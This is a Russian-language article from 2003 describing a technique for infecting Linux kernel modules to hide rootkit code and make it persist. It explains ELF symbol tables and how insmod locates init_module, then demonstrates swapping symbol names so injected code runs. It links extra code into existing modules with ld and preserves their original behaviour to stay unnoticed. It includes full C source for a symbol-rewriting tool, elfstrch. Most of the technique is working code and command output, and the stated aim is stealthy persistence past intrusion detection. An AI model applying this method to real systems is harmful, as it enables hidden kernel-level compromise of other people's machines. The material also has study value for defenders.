Ключевые слова:kernel, linux, module, elf, security, (найти похожие документы)
From: leePetitPrinces <lepetitprinces@inbox.ru>
Newsgroups: email
Date: Mon, 28 Dec 2003 14:31:37 +0000 (UTC)
Subject: Метод инфицирования системных модулей ядра Linux
---[ Intro ]---
Данный материал не является чем-то новым. Но он является новым для автора и
ему хочеться поделиться этим с другими. Ему так же интересны ваши отзывы, так
как автор является новичком в подобных вещах и он готов выслушать разумные и
адекватные коментари.
В статье использовались материалы сайта http://www.phrack.org.
Есть вопросы? Тогда вам сюда: lepetitprinces@inbox.ru
URL http://zaya.spb.ru/infect_lkm.txt
---[ 0. Содержание ]---
1. Введение
2. Основы ELF формата
2.1 .symtab секция
2.2 .strtab секция
3. Игра с LKM
3.1 Загрузка модуля
3.2 Изменение .strtab
3.3 Инъекция кода
3.4 Сохранение невидимости
4. Заключение
5. Исходный код elfstrch
6. Ссылки
---[ 1. Вступление ]---
В течении нескольких лет свет увидел множество руткитов использующих возможность
загрузки модулей ядра (LKM). Это панацея? Не совсем, LKM повсеместно используется
потому, что это действительно мощно: вы можете прятать файлы, процессы и другие
полезные вещи ;) Первый руткит использующий LKM мог быть легко выявлен, потому,
что он выводился по команде lsmod. Но время не стоит на месте и было придумано
множество техник для сокрытия загруженного модуля, таких как описаны в докладе
Plaguez'а [1] или более изощренного используемого в Adore Rootkit[2]. Несколько
лет спустя был предложен метод основанный на изменении образа памяти ядра
использую /dev/kmem [3]. И наконец, техника статического патча ядра [4]. Все они
решают одну общую проблему: руткит должен быт загружен после перезагрузки системы.
Основная идея данной статьи - это показать новую технологию сокрытия LKM и
обеспечить ему загрузку при старте системы. Мы рассмотрим как это сделать методом
заражения модулей ядра используемых системой. Данная статья рассматривает ядро
Linux-2.4.х для x86, но эта же технология может быть применена и на других
операционных системах, которые используют ELF формат. Некоторые знания
относительного этого формата необходимы для понимания данной техники. По этому
вначале мы немного изучим этот формат, в частности систему именования в ELF
объектных файлах. Затем мы изучим механизм по которому загружаются модули ядра.
И в конце-концов мы посмотрим как внедрить произвольны код в модуль, не повредив
его и сохранив исходную функциональность.
---[ 2. Основы ELF формата ]---
Executable and Linking Format (ELF) - это формат выполняемого файла
используемого в операционной системе Linux. Мы поковыряемся в той части этого
формата, что необходима нам для понимания техники и что будет использовано
далее. Когда линкуются два ELF объекта, линковщику необходимо знать некоторую
информацию относительно связи символов в каждом объекте. Каждый ELF объект
(LKM например) содержит две секции, цель которых хранение информационных
структур описывающих символы ELF объекта. Давайте рассмотрим их.
---[ 2.1 .symtab секция ]---
Данная секция представляет из себя таблицу содержащую структуры данных необходимые
линковщику для работы с символами содержащимися в ELF файле. Эти структуры
описаны в файле /usr/include/elf.h
/* Symbol table entry. */
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
Нас интересует только поле st_name, что представляет из себя индекс в .strtab
секции, в которой сохранено имя символа.
---[ 3.1 .strtab секция ]---
Этот раздел представляет из себя таблицу строк заканчивающих нулем (стандартные
С строки, потому что микропроцессор PDP-7, на котором разрабатывались UNIX и C,
имел такой строковый тип ASCIZ. ASCIZ означало "ASCII с нулём (zero) на
конце"). Как мы видели выше, поле st_name структуры Elf32_Sym структуры - это
индекс в .strtab, благодаря чему мы можем получить смещение строки содержащей
имя символа по следующей формуле.
offset_sym_name = offset_strtab + st_name
offset_strtab - это смещение .strtab секции относительно начала файла. Это все
вычисляется механизмом резолвинга имен секций, что не будет тут описано - так
как это не самое интересно из того, что касается рассматриваемого вопроса.
(Реализация может быть изучена в разделе 5)
Мы можем сделать вывод, что имя символа может быть легко найдено и изменено в
ELF объекте. На самом деле, это не совсем так, нам надо учитывать одно
обстоятельство, что изменение имени на большее (по длине) сдвинет все
остальные имена в файле, что потребует изменение всей таблицы .symtab. Потому
новое имя не должно первышать исходное.
---[ 3.1 Загрузка модулей ]---
Модули ядра загружаются программой insmod, которая является частью пакета
modutils. Интересующий нас код находиться в функции init_module() файла
insmod.c
static int init_module(const char *m_name, struct obj_file *f,
unsigned long m_size, const char *blob_name,
unsigned int noload, unsigned int flag_load_map)
{
(1) struct module *module;
struct obj_section *sec;
void *image;
int ret = 0;
tgt_long m_addr;
....
(2) module->init = obj_symbol_final_value(f,
obj_find_symbol(f, "init_module"));
(3) module->cleanup = obj_symbol_final_value(f,
obj_find_symbol(f, "cleanup_module"));
....
if (ret == 0 && !noload) {
fflush(stdout); /* Flush any debugging output */
(4) ret = sys_init_module(m_name, (struct module *) image);
if (ret) {
error("init_module: %m");
lprintf(
"Hint: insmod errors can be caused by incorrect module parameters, "
"including invalid IO or IRQ parameters.\n"
"You may find more information in syslog or the output from dmesg");
}
}
Данная функция использует (1) для размещении структуры module, которая
содержит данные необходимы для загрузки модуля. Нас интересуют поля
init_module и cleanup_module, которые являются указателями на соответствующие
функции init_module() и cleanup_module() загружаемого модуля. Функция
obj_find_symbol() (2) извлекает структуру посредством поиска имени init_module
в таблице символов. Извлеченная структура скармливается функции
obj_symbol_final_value(), которая извлекает адрес функции init_module.
Аналогичные операции проделываются и для cleanup_module() функции модуля
(для тех кто в танке, функции init_module() и cleanup_module выполняются при
загрузке модуля и при его выгрузке соответственно).
Когда структура module окончательно заполнена необходимыми данными вызывается
функция sys_init_module() (системный вызов на самом деле), которая загружает
модуль в ядро.
Ниже приведена интересующая нас часть системного вызова sys_init_module(),
который вызывается в процессе инициализации модуля (см. выше). Код этой
функции может быть найден в файле /usr/src/linux/kernel/module.c:
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
struct module mod_tmp, *mod;
char *name, *n_name, *name_tmp = NULL;
long namelen, n_namelen, i, error;
unsigned long mod_user_size;
struct module_ref *dep;
/* Lots of sanity checks */
.....
/* Ok, that's about all the sanity we can stomach; copy the rest.*/
(1) if (copy_from_user((char *)mod+mod_user_size,
(char *)mod_user+mod_user_size,
mod->size-mod_user_size)) {
error = -EFAULT;
goto err3;
}
/* Other sanity checks */
....
/* Initialize the module. */
atomic_set(&mod->uc.usecount,1);
mod->flags |= MOD_INITIALIZING;
(2) if (mod->init && (error = mod->init()) != 0) {
atomic_set(&mod->uc.usecount,0);
mod->flags &= ~MOD_INITIALIZING;
if (error > 0) /* Buggy module */
error = -EBUSY;
goto err0;
}
atomic_dec(&mod->uc.usecount);
После некоторых логичных проверок, структура module копируется из
пользовательского пространства в пространство ядра вызовом copy_from_user()
(1). Затем выполняется функция init_module() (2) нашего модуля посредством
вызова mod->init().
---[ 3.2 Изменение .strtab ]---
Как мы видим выше, что адрес init функции модуля располагается в ядре на
основе данных секции строк .strtab. Изменение строки символа дает нам возможность
выполнить функцию отличную от init_module().
Имеется несколько путей изменения записей в .strtab секции. Например опция
-wrap программы ld, но она не совместима с опцией -r которая нам понадобиться
позже (раздел 3.3). Потому была написана небольшая программа, которая
занимается поставленной задачей (раздел 5).
А вот и небольшой пример:
$ cat test.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
printk ("Into init_module()\n");
return 0;
}
int evil_module(void)
{
printk ("Into evil_module()\n");
return 0;
}
int cleanup_module(void)
{
printk ("Into cleanup_module()\n");
return 0;
}
$ gcc -I/usr/src/linux/include -c test.c
А теперь давайте посмотрим на .systab и .strtab секции нашего получившегося
файла:
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
00000000 l df *ABS* 00000000 test.c
00000000 l d .text 00000000
00000000 l d .data 00000000
00000000 l d .bss 00000000
00000000 l d .modinfo 00000000
00000000 l O .modinfo 00000020 __module_kernel_version
00000000 l d .rodata 00000000
00000000 l d .note.GNU-stack 00000000
00000000 l d .comment 00000000
00000000 g F .text 00000019 init_module
00000000 *UND* 00000000 printk
00000019 g F .text 00000019 evil_module
00000032 g F .text 00000019 cleanup_module
Мы изменим две записи секции .strtab для подмены символа init_module символом
evil_module. Но вначале переименуем символ init_module, так как два символа с
одинаковым названием недопустимы. Это будет выглядеть примерно так:
init_module => dumm_module
evil_module => init_module
$ ./elfstrch test.o init_module dumm_module
[+] Symbol init_module located at 0x458
[+] .strtab entry overwriten with dumm_module
[+] Symbol evil_module located at 0x46b
[+] .strtab entry overwriten with init_module
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
00000000 l df *ABS* 00000000 test.c
00000000 l d .text 00000000
00000000 l d .data 00000000
00000000 l d .bss 00000000
00000000 l d .modinfo 00000000
00000000 l O .modinfo 00000020 __module_kernel_version
00000000 l d .rodata 00000000
00000000 l d .note.GNU-stack 00000000
00000000 l d .comment 00000000
00000000 g F .text 00000019 dumm_module
00000000 *UND* 00000000 printk
00000019 g F .text 00000019 init_module
00000032 g F .text 00000019 cleanup_module
Не трудно заметить, что функции поменялись местами ;)
# insmod test.o
Warning: loading test.o will taint the kernel: no license
See http://www.tux.org/lkml/#export-tainted for information about tainted
modules
Module test loaded, with warnings
# dmesg | tail -n1
Into evil_module()
Ну вот, произошло что и следовало ожидать - evil_module() был выполнен в место
init_module().
---[ 3.3 Инъекция кода ]---
Представленная выше технология позволяет выполнить одну функцию заместо другой.
Но это не сильно интересно, намного полезнее научиться внедрять свой код в уже
созданные модули. Это может быть легко сделано с использованием превосходного
линковщика - ld:
$ cat original.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
printk ("Into init_module()\n");
return 0;
}
int cleanup_module(void)
{
printk ("Into cleanup_module()\n");
return 0;
}
$ cat inject.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int inje_module (void)
{
printk ("Injected\n");
return 0;
}
$ gcc -I/usr/src/linux/include -c original.c
$ gcc -I/usr/src/linux/include -c inject.c
Тут начинается самая важная часть. Внедрение кода не представляет большой
проблемы, так как модули ядра relocatable ELF объекты. Объекты данного типа
могут быть легко слинкованы вместе для предоставления символов и дополнения
друг друга. Однако, одно правило должно быть учтено: одно и тоже имя не может
присутствовать в двух модулях. Мы будем использовать ld с опцией -r для
создания объекта такой же природы из которых он создается (прямо высшие
материи пошли :) Это создаст модуль, который может быть загружен ядром.
$ ld -r original.o inject.o -o evil.o
$ objdump -t evil.o
evil.o: file format elf32-i386
SYMBOL TABLE:
00000000 l d .text 00000000
00000000 l d *ABS* 00000000
00000000 l d .rodata 00000000
00000000 l d .modinfo 00000000
00000000 l d .data 00000000
00000000 l d .bss 00000000
00000000 l d .comment 00000000
00000000 l d .note.GNU-stack 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
00000000 l d *ABS* 00000000
00000000 l df *ABS* 00000000 original.c
00000000 l O .modinfo 00000016 __module_kernel_version
00000000 l df *ABS* 00000000 inject.c
00000016 l O .modinfo 00000016 __module_kernel_version
00000019 g F .text 00000019 cleanup_module
00000000 g F .text 00000019 init_module
00000000 *UND* 00000000 printk
00000034 g F .text 00000019 inje_module
Функция inje_module успешно слинковалась в наш новый модуль. Теперь нам нужно
всего лишь изменить .strtab секцию, для подмены init_module нашей новой
функцией.
$ ./elfstrch evil.o init_module dumm_module
[+] Symbol init_module located at 0x564
[+] .strtab entry overwriten with dumm_module
$ ./elfstrch evil.o inje_module init_module
[+] Symbol inje_module located at 0x577
[+] .strtab entry overwriten with init_module
А теперь давайте проверим все это на действии ;)
# insmod evil.o
Warning: loading evil.o will taint the kernel: no license
See http://www.tux.org/lkml/#export-tainted for information about tainted
modules
Module evil loaded, with warnings
# dmesg |tail -n 1
Injected
---[ 3.4 Сохранение невидимости ]---
Так как инфицироваться будут в основном загружаемые модули, полезно сохранить
их прежнюю функциональность. Так как иначе наш инфицированый модуль будет
легко замечен. Для этого нужно выполнить вполне простую и очевидную вешь. В
нашем коде должны быть вызовы исходные функции init_module() и
cleanup_module(). Для этого подправим наш код:
$ cat stealth.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int inje_module (void)
{
/* Вызовим исходную функцию модуля */
dumm_module ();
printk (" Injected\n");
return 0;
}
int evclean_module (void)
{
/* Аналогично */
cleanup_orignl ();
return 0;
}
Теперь нужно произвести следующие замены:
init_module => dumm_module
cleanup_module => cleanup_orignl
inje_module => init_module
evclean_module => cleanup_module
После сих не хитрых телодвижений исходный модуль не теряет своей
функциональности, но помимо того, доставляет нам немало радости выполнением
внедренного кода ;)
---[ 4. Заключение ]---
У данного метода есть один недостаток. Если мы хотим сохранить модуль в памяти
после перезагрузки - мы дожны изменить системный модуль загружаемый при старте в
каталоге /lib/modules/. Но тогда хорошо настроенная HIDS (Host Intrusion Detection
System, like Tripwire) обнаружит его. С другой стороны модуль ядра не является
загружаемым (+x) и не является SUID'ным файлом, так что сохраняется большая
вероятность быть не замеченным. Вот так вот, товарисЧи сИс. админы, не прозевайте,
а то ваш mii.o может стать вашим злейшим врагом.
---[ 5. Исходный код elfstrch ]---
Данный код не выделяется ничем примечательным. Хочеться отметить, что для
полного его понимания неплохо бы знать как следует ELF формат. Изучить оный
можно по ссылке http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf.
/*
* Оригинальный автор:
* elfstrchange.c by truff <truff@projet7.org>
* Изменяет значение символьного имени в .strtab секции
*
* Использование: elfstrch elf_object sym_name sym_name_replaced
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#define FATAL(X) { perror (X); exit (EXIT_FAILURE); }
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len);
int main (int argc, char **argv)
{
int i;
int len = 0;
char *string;
FILE *fd;
Elf32_Ehdr hdr;
Elf32_Shdr symtab, strtab;
Elf32_Sym sym;
Elf32_Off symoffset;
fd = fopen (argv[1], "r+");
if (fd == NULL)
FATAL ("fopen");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
FATAL ("Elf header corrupted");
if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
{
fprintf (stderr, "Can't get .symtab section\n");
exit (EXIT_FAILURE);
}
if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
{
fprintf (stderr, "Can't get .strtab section\n");
exit (EXIT_FAILURE);
}
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
if (symoffset == -1)
{
fprintf (stderr, "Symbol %s not found\n", argv[2]);
exit (EXIT_FAILURE);
}
printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
if (fseek (fd, symoffset, SEEK_SET) == -1)
FATAL ("fseek");
if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
FATAL ("fwrite");
printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
fclose (fd);
return EXIT_SUCCESS;
}
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
int i;
char symname[255];
Elf32_Off offset;
for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
{
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
FATAL ("Symtab corrupted");
memset (symname, 0, sizeof (symname));
offset = ElfGetSymbolName (fd, sym->st_name,
strtab, symname, sizeof (symname));
if (!strcmp (symname, name))
return offset;
}
return -1;
}
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
Elf32_Shdr *shdr)
{
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
return 0;
}
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
Elf32_Shdr *shdr)
{
int i;
char name[255];
Elf32_Shdr shstrtable;
/*
* Get the section header string table
*/
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
memset (name, 0, sizeof (name));
for (i=0; i<ehdr->e_shnum; i++)
{
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
FATAL ("Sections header corrupted");
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
name, sizeof (name));
if (!strcmp (name, section))
{
return 0;
}
}
return -1;
}
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '\0')
{
*res = fgetc (fd);
i++;
res++;
}
return 0;
}
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len)
{
size_t i = 0;
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
FATAL ("fseek");
while ((i < len) || *res == '\0')
{
*res = fgetc (fd);
i++;
res++;
}
return (strtable->sh_offset + sym_name);
}
/* EOF */
---[ 6. Ссылки ]---
[1] http://www.phrack.org/show.php?p=52&a=18
[2] http://stealth.7350.org/rootkits/
[3] http://vx.netlux.org/lib/vsc07.html
[4] http://www.phrack.org/show.php?p=60&a=8